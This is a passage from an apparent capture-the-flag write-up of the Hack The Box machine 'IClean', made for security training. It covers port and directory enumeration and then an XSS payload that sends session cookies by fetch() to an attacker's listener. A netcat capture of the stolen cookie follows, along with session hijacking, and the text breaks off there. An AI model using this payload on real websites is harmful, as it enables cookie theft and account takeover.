SSTI vulnerability</h3><ul><li><p>The SSTI vulnerability in the <code>/QRGenerator</code> was exploited to achieve remote code execution and establish a reverse shell within the context of the <code>www-data</code> user.</p></li></ul><h3>Brute-forcing hashed passwords</h3><ul><li><p>Hashcat was used to crack the hashes stolen from the <code>users</code> database and compromise a standard user&#8217;s account.</p></li></ul><h3>Abusing <code>sudo</code> to exfiltrate sensitive data and achieve privilege escalation</h3><ul><li><p>Privilege escalation was achieved by stealing the <code>root</code> user&#8217;s <code>id_rsa</code> file by exploiting a vulnerability in the <code>qpdf</code> binary that the compromised user had <code>sudo</code> rights over.</p></li></ul><div><hr></div><h1>Enumeration</h1><h2>Nmap scanning</h2><p>As always, the target is scanned with Nmap.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/scans]
&#9492;&#9472;$ nmap -A 10.129.10.21 | tee nmap-output.txt</code></pre><pre><code>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 01:21 EDT
Nmap scan report for 10.129.10.21
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.79 seconds</code></pre><h3>Findings</h3><ol><li><p>Port 22</p></li><li><p>Port 80</p></li></ol><h2>Port 80 Enumeration</h2><p>Navigating to the site results in Server Not Found but reveals the domain: </p><p><code>http://capiclean.htb/.</code></p><p>Adding to <code>/etc/hosts/</code> file resolves the target to a landing page:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5O_q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5O_q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 424w, https://substackcdn.com/image/fetch/$s_!5O_q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 848w, https://substackcdn.com/image/fetch/$s_!5O_q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 1272w, https://substackcdn.com/image/fetch/$s_!5O_q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5O_q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png" width="643" height="404" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f2c6337-732a-453b-8f76-56894b41023e_643x404.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:404,&quot;width&quot;:643,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleanmimetypes.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleanmimetypes.png" title="icleanmimetypes.png" srcset="https://substackcdn.com/image/fetch/$s_!5O_q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 424w, https://substackcdn.com/image/fetch/$s_!5O_q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 848w, https://substackcdn.com/image/fetch/$s_!5O_q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 1272w, https://substackcdn.com/image/fetch/$s_!5O_q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f2c6337-732a-453b-8f76-56894b41023e_643x404.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>There is a login page at <code>capiclean.htb/login</code>, and a page to submit a quote at <code>capiclean.htb/quote</code>.</p><h2>Further page enumeration</h2><p>Further enumeration was conducted with Gobuster:</p><pre><code>(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/scans]
&#9492;&#9472;$ gobuster dir -u http://capiclean.htb -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 -x php,html -o gobuster-scan.txt</code></pre><p>This command uses Gobuster to brute-force directories (pages) on the site.</p><ul><li><p><code>gobuster dir</code>: This tells Gobuster to use its directory and file brute-forcing mode.</p></li><li><p><code>-u http://capiclean.htb</code>: Specifies the target URL to be scanned,</p></li><li><p><code>-w /usr/share/wordlists/dirbuster/directory-list-1.0.txt**:</code> Specifies the path to the wordlist that Gobuster will use for brute-forcing.</p></li><li><p><code>-t 100</code>: Sets the number of concurrent threads to use for the scan. In this case, Gobuster will use 100 threads to speed up the process.</p></li><li><p><code>-x php,html</code>: Specifies the file extensions to append to each word in the wordlist. Gobuster will check for both <code>.php</code> and <code>.html</code> extensions.</p></li><li><p><code>-o gobuster-scan.txt</code>: Specifies the output file where the results will be saved. The results of this scan will be written to <code>gobuster-scan.txt</code>.</p></li></ul><p>Early results reveal a <code>/dashboard</code> page with a status code of 302, suggesting it was found but redirected to the root of the site, presumably because it is behind the <code>/login</code> page. This is likely the target page.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TZ1x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TZ1x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 424w, https://substackcdn.com/image/fetch/$s_!TZ1x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 848w, https://substackcdn.com/image/fetch/$s_!TZ1x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 1272w, https://substackcdn.com/image/fetch/$s_!TZ1x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TZ1x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png" width="850" height="668" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9fbe9631-a400-4756-a637-28e350eb9565_850x668.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:668,&quot;width&quot;:850,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleanlandingpage.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleanlandingpage.png" title="icleanlandingpage.png" srcset="https://substackcdn.com/image/fetch/$s_!TZ1x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 424w, https://substackcdn.com/image/fetch/$s_!TZ1x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 848w, https://substackcdn.com/image/fetch/$s_!TZ1x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 1272w, https://substackcdn.com/image/fetch/$s_!TZ1x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fbe9631-a400-4756-a637-28e350eb9565_850x668.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Quote page enumeration</h2><p>Observing the POST request for the <code>/quote</code> page in Burpsuite reveals the server will accept image types. This may lead to the possibility of exfiltrating cookies via XSS.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9fnB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9fnB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 424w, https://substackcdn.com/image/fetch/$s_!9fnB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 848w, https://substackcdn.com/image/fetch/$s_!9fnB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 1272w, https://substackcdn.com/image/fetch/$s_!9fnB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9fnB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png" width="579" height="411" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:411,&quot;width&quot;:579,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;iclean302dashboard.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="iclean302dashboard.png" title="iclean302dashboard.png" srcset="https://substackcdn.com/image/fetch/$s_!9fnB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 424w, https://substackcdn.com/image/fetch/$s_!9fnB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 848w, https://substackcdn.com/image/fetch/$s_!9fnB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 1272w, https://substackcdn.com/image/fetch/$s_!9fnB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a277cb-24c0-42e0-9b2b-9d62595c1520_579x411.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Initial access</h1><h2>XSS to exfiltrate cookies</h2><p>Given there was a login page, it may be possible to perform an XSS attack to extract session cookies and impersonate a user by appending the following to the URL parameter in the POST request:</p><pre><code>service=&lt;img src=x onerror=fetch("http://IP:4444/"+document.cookie);&gt;</code></pre><p>This attempts to exfiltrate cookies to a remote server.</p><ul><li><p><code>&amp;service=</code>: This part of the string is the URL parameter named <code>service</code>.</p></li><li><p><code>&lt;img src=x onerror=...&gt;</code>: This is an HTML <code>img</code> tag. Normally, the <code>src</code> attribute specifies the path to the image. However, in this case, an <code>x</code> is used to trigger an error event.</p></li><li><p><code>onerror=...</code>: The <code>onerror</code> attribute is an event handler that executes JavaScript code when an error occurs while loading the image (because <code>src=x</code> will fail).</p></li><li><p><code>fetch("http://RemoteIP:4444/"+document.cookie);</code>: This JavaScript code is executed when the image fails to load. It uses the <code>fetch</code> function to make an HTTP request to the attacker&#8217;s server (http://ATTACK_IP:4444/). The <code>+document.cookie</code> part appends the document&#8217;s cookies to the URL, effectively sending them to the attacker&#8217;s server.</p></li></ul><p>Repeating the POST request after adding the payload and URL-encoding it looks like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XJm1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XJm1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 424w, https://substackcdn.com/image/fetch/$s_!XJm1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 848w, https://substackcdn.com/image/fetch/$s_!XJm1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 1272w, https://substackcdn.com/image/fetch/$s_!XJm1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XJm1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png" width="592" height="431" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:431,&quot;width&quot;:592,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleanXSSpayload.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleanXSSpayload.png" title="icleanXSSpayload.png" srcset="https://substackcdn.com/image/fetch/$s_!XJm1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 424w, https://substackcdn.com/image/fetch/$s_!XJm1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 848w, https://substackcdn.com/image/fetch/$s_!XJm1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 1272w, https://substackcdn.com/image/fetch/$s_!XJm1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F531fdfb3-cfdb-4fba-804a-d0d419cdf389_592x431.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Starting a listener captures the cookie as expected:</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/credentials]
&#9492;&#9472;$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.129.10.21] 56354
GET /session=eyJyb2xlIjoiMj&lt;SNIP&gt;.0qvcHllPTlaUvubvwVzl77I1glM HTTP/1.1
Host: 10.10.14.6:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:3000
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9</code></pre><h2>Session hijacking with stolen cookie</h2><p>The cookie can be used to impersonate a session. By inspecting the login page, the cookie can be added to storage. Then, attempting to browse to the <code>/dashboard</code> page, which would typically sit behind the login page, can be done by simply changing the URL.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bly-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bly-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 424w, https://substackcdn.com/image/fetch/$s_!Bly-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 848w, https://substackcdn.com/image/fetch/$s_!Bly-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 1272w, https://substackcdn.com/image/fetch/$s_!Bly-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bly-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png" width="941" height="809" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:809,&quot;width&quot;:941,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleansessionhijack.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleansessionhijack.png" title="icleansessionhijack.png" srcset="https://substackcdn.com/image/fetch/$s_!Bly-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 424w, https://substackcdn.com/image/fetch/$s_!Bly-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 848w, https://substackcdn.com/image/fetch/$s_!Bly-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 1272w, 